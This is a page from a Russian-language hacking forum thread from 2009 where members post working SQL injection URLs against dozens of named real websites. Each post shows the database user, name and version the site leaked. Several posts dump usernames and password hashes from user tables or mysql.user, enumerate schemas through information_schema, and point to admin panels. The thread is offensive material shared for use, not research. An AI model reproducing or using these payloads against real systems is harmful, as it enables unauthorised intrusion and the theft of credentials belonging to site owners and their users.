SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
  1. mailbrush

    mailbrush Well-Known Member

    Joined:
    24 Jun 2008
    Messages:
    1,997
    Likes Received:
    996
    Reputations:
    155
    Code:
    http://salgirka.com/flower.php?id=-1+union+select+1,concat_ws(0x3a,user(),database(),version()),3,4,5,6
    Code:
    bospor_user1@localhost:bospor_salgirka:5.0.32-Debian_7etch8-log
    Code:
    http://tolkovatel.com/flower.php?id=-1+union+select+1,unhex(hex(concat_ws(0x3a,user(),database(),version()))),3
    Code:
    [email protected]:sergkap_sms:4.1.11-Debian_4sarge2-log
     
    #10201 mailbrush, 29 Jul 2009
    Last edited: 29 Jul 2009
    1 person likes this.
  2. $n@ke

    $n@ke Elder - Старейшина

    Joined:
    18 Sep 2006
    Messages:
    696
    Likes Received:
    404
    Reputations:
    134
    version() 5.0.41
    user: uoftstats55@localhost

    посимвольно(
     
  3. mailbrush

    mailbrush Well-Known Member

    Joined:
    24 Jun 2008
    Messages:
    1,997
    Likes Received:
    996
    Reputations:
    155
    Code:
    http://oklahomawildflowers.110mb.com/flower.php?id=-1+union+select+1,concat_ws(0x3a,user(),database(),version()),3,4,5,6,7,8,9
    Code:
    oklahomawildflowers_flwrs@localhost:oklahomawildflowers_flwrs:5.0.27-Debian_0.dotdeb.1
    Code:
    http://www.arnottower.co.uk/fib/flower.php?ID=-1+union+select+1,concat_ws(0x3a,user(),database(),version()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17
    Code:
    [email protected]:arnottower:4.1.20
     
    #10203 mailbrush, 29 Jul 2009
    Last edited: 29 Jul 2009
  4. HAXTA4OK

    HAXTA4OK Super Moderator
    Staff Member

    Joined:
    15 Mar 2009
    Messages:
    946
    Likes Received:
    838
    Reputations:
    605
    PR: 4

    ####################################
    ####################################
     
    _________________________
    #10204 HAXTA4OK, 29 Jul 2009
    Last edited by a moderator: 29 Jul 2009
  5. mol0t

    mol0t Member

    Joined:
    8 Jul 2009
    Messages:
    28
    Likes Received:
    89
    Reputations:
    3
    Code:
    http://www.huntik-tcg.de/forum/news.php?id=-9+union+select+1,2,3,4,5,6,7,8,concat_ws(0x3a,database(),version(),user()),10--
    
    d00a8054:4.1.22-max-log:d00a8054@localhost
     
    1 person likes this.
  6. M.W.N.N.

    M.W.N.N. Member

    Joined:
    5 Jan 2009
    Messages:
    173
    Likes Received:
    78
    Reputations:
    6
    Code:
    http://www.sigmatur.ru/hotels/info/hotels.php?fid=1484332+union+select+1,2,3,4,unhex(hex(concat_ws(0x3a,version(),database(),user()))),6+limit+1,1/*
    version():5.0.26-lk-log
    database():sigmaru_frs2
    user():sigmaru_frs2@localhost
     
    1 person likes this.
  7. hatamahata

    hatamahata Member

    Joined:
    10 Jun 2009
    Messages:
    0
    Likes Received:
    5
    Reputations:
    0
    HTML:
    http://www.activerider.co.uk/video_details.php?id=52+UNION+SELECT+1,AES_DECRYPT(AES_ENCRYPT(CONCAT(0x7873716C696E6A626567696E,Version(),0x2F2A2A2F,Database(),0x2F2A2A2F,User(),0x7873716C696E6A656E64),0x71),0x71),3,4,5,6+LIMIT+1,1-- 
    Database Version: 5.1.26-rc-5.1.26rc
    Database name: db58490_activerider
    User name: [email protected]

    HTML:
    http://www.pennhk.com/membership/announcement_details_view.php?id=52+UNION+SELECT+1,AES_DECRYPT(AES_ENCRYPT(CONCAT(0x7873716C696E6A626567696E,Version(),0x2F2A2A2F,Database(),0x2F2A2A2F,User(),0x7873716C696E6A656E64),0x71),0x71),3,4,5,6,7,8,9,10,11+LIMIT+1,1-- 
    Database Version: 4.1.14-standard
    Database name: pennhk_com_-_database
    User name: pennhk@localhost
     
    #10207 hatamahata, 30 Jul 2009
    Last edited by a moderator: 30 Jul 2009
  8. mr.gr33n

    mr.gr33n Banned

    Joined:
    6 Jul 2009
    Messages:
    47
    Likes Received:
    68
    Reputations:
    6
    Code:
    http://www.temask.ru/product.php?id=-7+union+select+1,concat_ws(0x3a,user(),version()),3,4,5,6,7,8,9,0,1,2,3,4,5--
    
    Code:
    http://www.itsprim.ru/product.php?id=-7+union+select+1,2,3,concat_ws(0x3a,login_usr,pass_usr),5,6,7,8+from+users_usr--
    [B]http://www.itsprim.ru/admin/[/B]
    
     
    #10208 mr.gr33n, 30 Jul 2009
    Last edited: 30 Jul 2009
  9. molotovkeyt

    molotovkeyt Member

    Joined:
    2 Nov 2008
    Messages:
    2
    Likes Received:
    8
    Reputations:
    -1
    http://www.martahewett.com/detail.php?cid=yamano09&artist_id=yamano&no_a=1&artwork_id=-90609+union+select+1,2,3,version(),5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1--
    Галерея сумасшедшей дизайнерши.
    5 ветка.
    Через базу тянется еще много баз :)
     
  10. $n@ke

    $n@ke Elder - Старейшина

    Joined:
    18 Sep 2006
    Messages:
    696
    Likes Received:
    404
    Reputations:
    134
    ням
    пассы в кодировке хз какой))
    Version: 4.1.20-log
    User: [email protected]
    Db: eup_cms
     
    2 people like this.
  11. mol0t

    mol0t Member

    Joined:
    8 Jul 2009
    Messages:
    28
    Likes Received:
    89
    Reputations:
    3
    Code:
    http://www.trinitystores.co.uk/news/readnews.php?id=-13+union+select+1,2,3,concat_ws(0x3a,database(),version(),user()),5,6,7,8,9,10,11--
    
    trinity:4.1.20:admin@localhost


    Code:
    http://www.element22.com/site/post.php?id=-24+union+select+1,concat_ws(0x3a,database(),version(),user()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32--
    
    cms:5.0.67-log:[email protected]


    Code:
    http://www.ninjadogdesign.com/post.php?id=-30+union+select+1,2,3,concat_ws(0x3a,database(),version(),user()),5,6,7--
    
    vinczegr_:5.0.67-community:vinczegr_vincze@localhost



    Code:
    http://www.epayonsite.com/post.php?id=-2285+union+select+1,2,concat_ws(0x3a,database(),version(),user()),4,5,6,7,8,9,10,11,12,13,14--
    
    epayonsite:5.0.51a-24+lenny1-log:patanin@localhost


    Code:
    http://happysoulindustry.com/HowAreYou/post.php?id=123+union+select+1,2,3,4,concat_ws(0x3a,database(),version(),user()),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32--
    
    howareyou:5.0.45-log:[email protected]
     
    1 person likes this.
  12. InDuStRieS

    InDuStRieS Banned

    Joined:
    15 Mar 2009
    Messages:
    526
    Likes Received:
    253
    Reputations:
    32
    Code:
    http://kenpom.com/conf.php?c=-WCC%27+union+select+1,2,concat(char(58,58,58),concat_ws(char(58),member_id,username,password,email),char(58,58,58))+from+pmh3457a.exp_members/*
    Code:
    http://www.komnasfbpi.go.id/archive_eng.php?bln=5&thn=-1+union+select+1,2,3,4,concat(char(58,58,58),concat_ws(char(46),table_schema,table_name),char(58,58,58)),6,7,8,9,10,11,12,13,14+from+information_schema.tables--
    Code:
    http://www.amcham.co.cr/member_file.php?MID=-1'+union+select+1,concat(char(58,58,58),table_schema,char(46),table_name,char(58,58,58)),3,4,5,6,7,8,9,10,11+from+information_schema.tables/*
    Code:
    http://www.jamieoliver.com/foodwise/search.php?search=&category=-9+union+select+1,2,3,concat(char(58,58,58),concat_ws(char(58),user_login,user_pass,user_email),char(58,58,58)),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23+from+evo_users/*
    ===========
     
    #10212 InDuStRieS, 30 Jul 2009
    Last edited by a moderator: 31 Jul 2009
  13. HAXTA4OK

    HAXTA4OK Super Moderator
    Staff Member

    Joined:
    15 Mar 2009
    Messages:
    946
    Likes Received:
    838
    Reputations:
    605
    PR: 4

    http://www.westbud.pl/en/index2.php?w=zp&id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,concat_Ws(0x3a,user(),database(),version()),19,20,21,22,23,24--&ww=l

    [email protected]:westbud01:5.0.32-Debian_7etch10-log
     
    _________________________
  14. попугай

    попугай Elder - Старейшина

    Joined:
    15 Jan 2008
    Messages:
    1,520
    Likes Received:
    401
    Reputations:
    196

    Microsoft SQL Server 2000 - 8.00.194 (Intel X86) Aug 6 2000 00:57:48 Copyright (c) 1988-2000 Microsoft Corporation Standard Edition on Windows NT 5.2 (Build 3790: Service Pack 1)
     
  15. mol0t

    mol0t Member

    Joined:
    8 Jul 2009
    Messages:
    28
    Likes Received:
    89
    Reputations:
    3
    PR:5
    Code:
    http://www.sns-uk.co.uk/news/news-full.php?newsid=-12625+union+select+1,2,concat_ws(0x3a,database(),version(),user()),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20--
    
    eurohs:5.0.45:[email protected]



    PR:5
    Code:
    http://www.ifrtd.org/new/news/full.php?view=-111+union+select+1,concat_ws(0x3a,database(),version(),user()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18--
    
    ifrtd:5.0.51a-24+lenny1-log:ifrtd@localhost



    PR:4
    Code:
    http://www.penguinworld.com/news/full.php?id=-5+union+select+1,2,concat_ws(0x3a,database(),version(),user()),4,5--
    
    adelie_data:5.0.81-community:adelie_adelie@localhost



    PR:4
    Code:
    http://c2-europe.eu/news-full.php?id=-125+union+select+1,2,3,4,5,6,concat_ws(0x3a,database(),version(),user()),8,9,10,11,12,13,14--
    
    c2deuts_ice:5.0.81-community-log:[email protected]
    несмог админку :( наити помогите плз



    Code:
    http://www.chrecruitment.co.uk/news.full.php?id=83+union+select+1,concat_ws(0x3a,database(),version(),user()),3,4,5--
    
    chrecrui_rec:4.1.22-standard:chrecrui_admin@localhost
     
  16. $n@ke

    $n@ke Elder - Старейшина

    Joined:
    18 Sep 2006
    Messages:
    696
    Likes Received:
    404
    Reputations:
    134
    кусь
    снова ****ые символы национальные(((

    админка лежит где обычно.
     
  17. Dyxxx

    Dyxxx Elder - Старейшина

    Joined:
    16 Feb 2009
    Messages:
    107
    Likes Received:
    155
    Reputations:
    24
    пр5
    Шоп банчит борохлом и жутко ругаеться, но на вопросы всёже отвечает ))
    Code:
    http://shop.usskiteam.com/store/product.php?productid=16640)+UNION+SELECT+concat_ws(0x3a,user(),version()),2+--+
    usski_xcart@localhost:4.1.22-standard
     
  18. HAXTA4OK

    HAXTA4OK Super Moderator
    Staff Member

    Joined:
    15 Mar 2009
    Messages:
    946
    Likes Received:
    838
    Reputations:
    605
    http://www.addictions.ru/info0.php?dir=1+union+select+1,2,concat_ws(0x3a,user(),database(),version()),4--&pid=15


    hmd_helpmedoc@localhost:hmd_helpmedoc:5.0.51a-community

    ####################################
    http://www.slk-digital.ru/gadgets/?t_id=-30+union+select+1,concat_ws(0x3a,user(),version(),database()),3,4,5,6,7,8,9--

    slkdigital_root@localhost:5.0.51a-community:slkdigital_digital
     
    _________________________
    #10218 HAXTA4OK, 31 Jul 2009
    Last edited: 31 Jul 2009
  19. $n@ke

    $n@ke Elder - Старейшина

    Joined:
    18 Sep 2006
    Messages:
    696
    Likes Received:
    404
    Reputations:
    134
    Version: 4.1.12-standard-log
    User: [email protected]
     
    2 people like this.
  20. Konqi

    Konqi Green member

    Joined:
    24 Jun 2009
    Messages:
    2,251
    Likes Received:
    1,149
    Reputations:
    886
    http://books.nt.am/media_info.php?ID=42+and+1=0+union+select+concat(user,char(58),password),2,3+from+mysql.user/*
     
    _________________________
    #10220 Konqi, 31 Jul 2009
    Last edited by a moderator: 31 Jul 2009
Thread Status:
Not open for further replies.